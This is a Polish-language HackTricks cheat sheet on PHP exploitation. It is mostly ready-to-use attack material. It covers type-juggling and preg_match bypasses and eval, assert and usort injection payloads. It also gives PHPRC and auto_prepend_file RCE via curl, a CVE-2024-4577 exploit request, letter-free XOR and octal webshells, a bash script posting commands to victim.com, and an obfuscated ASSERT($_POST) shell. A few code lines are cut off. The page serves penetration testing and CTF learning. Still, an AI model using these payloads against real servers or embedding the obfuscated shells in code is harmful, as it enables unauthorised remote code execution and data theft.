PHP Tricks

Wsparcie HackTricks

Typowa lokalizacja ciasteczek:

To również dotyczy ciasteczek phpMyAdmin.

Ciasteczka:

PHPSESSID
phpMyAdmin

Lokalizacje:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Obejście porównań PHP

Luźne porównania/Typ Juggling ( == )

Jeśli == jest używane w PHP, to istnieją nieoczekiwane przypadki, w których porównanie nie zachowuje się zgodnie z oczekiwaniami. Dzieje się tak, ponieważ "==" porównuje tylko wartości przekształcone do tego samego typu, jeśli chcesz również porównać, że typ porównywanych danych jest taki sam, musisz użyć ===.

Tabele porównań PHP: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Ciąg znaków, który nie zaczyna się od liczby, jest równy liczbie

  • "0xAAAA" == "43690" -> True Ciągi składające się z liczb w formacie dziesiętnym lub szesnastkowym mogą być porównywane z innymi liczbami/ciągami z wynikiem True, jeśli liczby były takie same (liczby w ciągu są interpretowane jako liczby)

  • "0e3264578" == 0 --> True Ciąg zaczynający się od "0e" i następnie cokolwiek będzie równy 0

  • "0X3264578" == 0X --> True Ciąg zaczynający się od "0" i następnie dowolna litera (X może być dowolną literą) i następnie cokolwiek będzie równy 0

  • "0e12334" == "0" --> True To jest bardzo interesujące, ponieważ w niektórych przypadkach możesz kontrolować ciąg wejściowy "0" oraz niektóre treści, które są haszowane i porównywane z nim. Dlatego, jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć już haszowane ciągi w tym formacie tutaj: https://github.com/spaze/hashes

  • "X" == 0 --> True Dowolna litera w ciągu jest równa int 0

Więcej informacji w https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Typ Juggling również wpływa na funkcję in_array() domyślnie (musisz ustawić trzeci argument na true, aby dokonać ścisłego porównania):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Jeśli ta funkcja jest używana do jakiejkolwiek weryfikacji uwierzytelnienia (jak sprawdzanie hasła) i użytkownik kontroluje jedną stronę porównania, może wysłać pustą tablicę zamiast ciągu jako wartość hasła (https://example.com/login.php/?username=admin&password[]=) i obejść tę weryfikację:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Ten sam błąd występuje z strcasecmp()

Ścisłe mieszanie typów

Nawet jeśli === jest używane, mogą wystąpić błędy, które sprawiają, że porównanie jest podatne na mieszanie typów. Na przykład, jeśli porównanie konwertuje dane na inny typ obiektu przed porównaniem:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() może być użyty do walidacji danych wejściowych użytkownika (sprawdza, czy jakiekolwiek słowo/regex z czarnej listy jest obecne w danych wejściowych użytkownika, a jeśli nie, kod może kontynuować swoje wykonanie).

Ominięcie nowej linii

Jednakże, przy delimitacji początku regexp preg_match() sprawdza tylko pierwszą linię danych wejściowych użytkownika, więc jeśli w jakiś sposób możesz wysłać dane wejściowe w kilku liniach, możesz być w stanie obejść to sprawdzenie. Przykład:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Aby obejść tę kontrolę, możesz wysłać wartość z nowymi liniami zakodowanymi w URL (%0A) lub jeśli możesz wysłać dane JSON, wyślij je w kilku liniach:

{
"cmd": "cat /etc/passwd"
}

Znajdź przykład tutaj: https://ramadistra.dev/fbctf-2019-rceservice

Obejście błędu długości

(To obejście było podobno testowane na PHP 5.2.5 i nie mogłem go uruchomić na PHP 7.3.15) Jeśli możesz wysłać do preg_match() ważny bardzo duży input, nie będzie w stanie go przetworzyć i będziesz mógł obejść kontrolę. Na przykład, jeśli czarna lista dotyczy JSON-a, możesz wysłać:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

Ominięcie ReDoS

Sztuczka z: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 i https://mizu.re/post/pong

Krótko mówiąc, problem występuje, ponieważ funkcje preg_* w PHP opierają się na bibliotece PCRE. W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit domyślnie wynosi 100.000, co jest więcej niż mieści się na stosie.

Ten wątek na Stackoverflow również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne: Wyślij dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja preg_match() zwróci false, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju {system(<verybadcommand>)} w celu uzyskania SSTI --> RCE --> flagi :).

Cóż, w terminach regex nie wykonujemy faktycznie 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza dokumentacja PHP, domyślnie wynosi 1_000_000 (1M) w zmiennej pcre.backtrack_limit.\ Aby to osiągnąć, 'X'*500_001 spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Typowe przechwytywanie dla obfuskacji PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Jeśli PHP przekierowuje na inną stronę, ale żadna funkcja die lub exit nie jest wywoływana po ustawieniu nagłówka Location, PHP kontynuuje wykonywanie i dodaje dane do treści:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Wykorzystanie przejścia ścieżki i włączenia plików

Sprawdź:

File Inclusion/Path traversal

Więcej sztuczek

  • register_globals: W PHP < 4.1.1.1 lub w przypadku błędnej konfiguracji, register_globals może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych, takich jak $_GET, jeśli mają wartość np. $_GET["param"]="1234", możesz uzyskać do nich dostęp przez $param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne używane w kodzie.

  • Ciasteczka PHPSESSION tej samej domeny są przechowywane w tym samym miejscu, dlatego jeśli w obrębie domeny różne ciasteczka są używane w różnych ścieżkach, możesz sprawić, że jedna ścieżka uzyska dostęp do ciasteczka drugiej ścieżki, ustawiając wartość ciasteczka innej ścieżki. W ten sposób, jeśli obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie, możesz sprawić, że wartość tej zmiennej w path1 będzie miała zastosowanie w path2. A następnie path2 uzna zmienne path1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w path2).

  • Kiedy masz nazwy użytkowników użytkowników maszyny. Sprawdź adres: /~<USERNAME>, aby zobaczyć, czy katalogi php są aktywowane.

password_hash/password_verify

Funkcje te są zazwyczaj używane w PHP do generowania hashy z haseł i do sprawdzania, czy hasło jest poprawne w porównaniu z hashem. Obsługiwane algorytmy to: PASSWORD_DEFAULT i PASSWORD_BCRYPT (zaczyna się od $2y$). Zauważ, że PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT. A obecnie, PASSWORD_BCRYPT ma ograniczenie rozmiaru wejścia do 72 bajtów. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Causing error after setting headers

Z tego wątku na Twitterze można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi.

Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Wypełnianie ciała przed ustawieniem nagłówków

Jeśli strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika, użytkownik może sprawić, że serwer PHP zwróci treść wystarczająco długą, aby podczas próby dodania nagłówków do odpowiedzi serwer zgłosił błąd. W następującym scenariuszu atakujący spowodował, że serwer zgłosił kilka dużych błędów, a jak widać na ekranie, gdy PHP próbowało zmodyfikować informacje o nagłówkach, nie mogło (na przykład nagłówek CSP nie został wysłany do użytkownika):

SSRF w funkcjach PHP

Sprawdź stronę:

PHP SSRF

Wykonanie kodu

system("ls"); `ls`; shell_exec("ls");

Sprawdź to dla bardziej przydatnych funkcji PHP

RCE za pomocą preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie. Ta opcja preg_replace została wycofana od PHP 5.5.0.

RCE za pomocą Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Ta funkcja w php pozwala na wykonywanie kodu zapisanego w ciągu w celu zwrócenia wartości true lub false (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład: assert("strpos($_GET['page']),'..') === false") --> W tym przypadku, aby uzyskać RCE, możesz zrobić:

?page=a','NeVeR') === false and system('ls') and strpos('a

Będziesz musiał złamać składnię kodu, dodać swój ładunek, a następnie naprawić to z powrotem. Możesz użyć operacji logicznych takich jak "and" lub "%26%26" lub "|". Zauważ, że "or", "||" nie działa, ponieważ jeśli pierwszy warunek jest prawdziwy, nasz ładunek nie zostanie wykonany. W ten sam sposób ";" nie działa, ponieważ nasz ładunek nie zostanie wykonany.

Inną opcją jest dodanie do ciągu wykonania polecenia: '.highlight_file('.passwd').'

Inną opcją (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: $file = "hola"

RCE za pomocą usort()

Funkcja ta jest używana do sortowania tablicy elementów za pomocą określonej funkcji. Aby nadużyć tej funkcji:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Możesz również użyć // do komentowania reszty kodu.

Aby odkryć liczbę nawiasów, które musisz zamknąć:

  • ?order=id;}//: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ';'). Prawdopodobnie brakuje nam jednego lub więcej nawiasów.

  • ?order=id);}//: otrzymujemy ostrzeżenie. To wydaje się w porządku.

  • ?order=id));}//: otrzymujemy komunikat o błędzie (Parse error: syntax error, unexpected ')' i). Prawdopodobnie mamy za dużo nawiasów zamykających.

RCE przez .httaccess

Jeśli możesz przesłać .htaccess, to możesz skonfigurować kilka rzeczy, a nawet wykonać kod (konfigurując, że pliki z rozszerzeniem .htaccess mogą być wykonywane).

Różne powłoki .htaccess można znaleźć tutaj

RCE przez zmienne środowiskowe

Jeśli znajdziesz lukę, która pozwala ci modyfikować zmienne środowiskowe w PHP (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać RCE.

  • LD_PRELOAD: Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych (chociaż w tym przypadku może to nie działać).

  • PHPRC : Instrukcja dla PHP, gdzie znaleźć plik konfiguracyjny, zazwyczaj nazywany php.ini. Jeśli możesz przesłać własny plik konfiguracyjny, użyj PHPRC, aby wskazać PHP na niego. Dodaj wpis auto_prepend_file, określający drugi przesłany plik. Ten drugi plik zawiera normalny kod PHP, który jest następnie wykonywany przez środowisko PHP przed jakimkolwiek innym kodem.

  1. Prześlij plik PHP zawierający nasz shellcode

  2. Prześlij drugi plik, zawierający dyrektywę auto_prepend_file, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1

  3. Ustaw zmienną PHPRC na plik, który przesłaliśmy w kroku 2.

  • Uzyskaj więcej informacji na temat wykonania tego łańcucha z oryginalnego raportu.

  • PHPRC - inna opcja

  • Jeśli nie możesz przesyłać plików, możesz użyć w FreeBSD "pliku" /dev/fd/0, który zawiera stdin, będąc treścią żądania wysłanego do stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Lub aby uzyskać RCE, włącz allow_url_include i dodaj plik z kodem PHP w base64:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • Technika z tego raportu.

XAMPP CGI RCE - CVE-2024-4577

Serwer WWW analizuje żądania HTTP i przekazuje je do skryptu PHP wykonującego żądanie takie jak http://host/cgi.php?foo=bar jako php.exe cgi.php foo=bar, co pozwala na wstrzyknięcie parametrów. To pozwoli na wstrzyknięcie następujących parametrów, aby załadować kod PHP z treści:

-d allow_url_include=1 -d auto_prepend_file=php://input

Ponadto możliwe jest wstrzyknięcie parametru "-" za pomocą znaku 0xAD z powodu późniejszej normalizacji PHP. Sprawdź przykład exploita z tego posta:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Static analysis

Sprawdź, czy możesz wstawić kod w wywołania tych funkcji (z tutaj):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Jeśli debugujesz aplikację PHP, możesz globalnie włączyć drukowanie błędów w /etc/php5/apache2/php.ini, dodając display_errors = On i zrestartować apache: sudo systemctl restart apache2

Deobfuskacja kodu PHP

Możesz użyć web www.unphp.net do deobfuskacji kodu php.

Wrappery PHP i protokoły

Wrappery PHP i protokoły mogą pozwolić ci na obejście ochrony zapisu i odczytu w systemie i jego kompromitację. Aby uzyskać więcej informacji, sprawdź tę stronę.

Xdebug nieautoryzowane RCE

Jeśli widzisz, że Xdebug jest włączony w wyjściu phpconfig(), powinieneś spróbować uzyskać RCE za pomocą https://github.com/nqxcode/xdebug-exploit

Zmienne zmiennych

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE nadużywając nowego $_GET["a"]($_GET["b")

Jeśli na stronie możesz utworzyć nowy obiekt dowolnej klasy, możesz uzyskać RCE, sprawdź następującą stronę, aby się dowiedzieć:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Wykonaj PHP bez liter

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Używając ósemkowego

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Zgodnie z tym opisem możliwe jest wygenerowanie łatwego shellcode w ten sposób:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Więc, jeśli możesz wykonać dowolny PHP bez cyfr i liter możesz wysłać żądanie takie jak poniższe, wykorzystując ten ładunek do wykonania dowolnego PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Dla bardziej szczegółowego wyjaśnienia sprawdź https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (wewnątrz eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl like

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
Wsparcie HackTricks

Last updated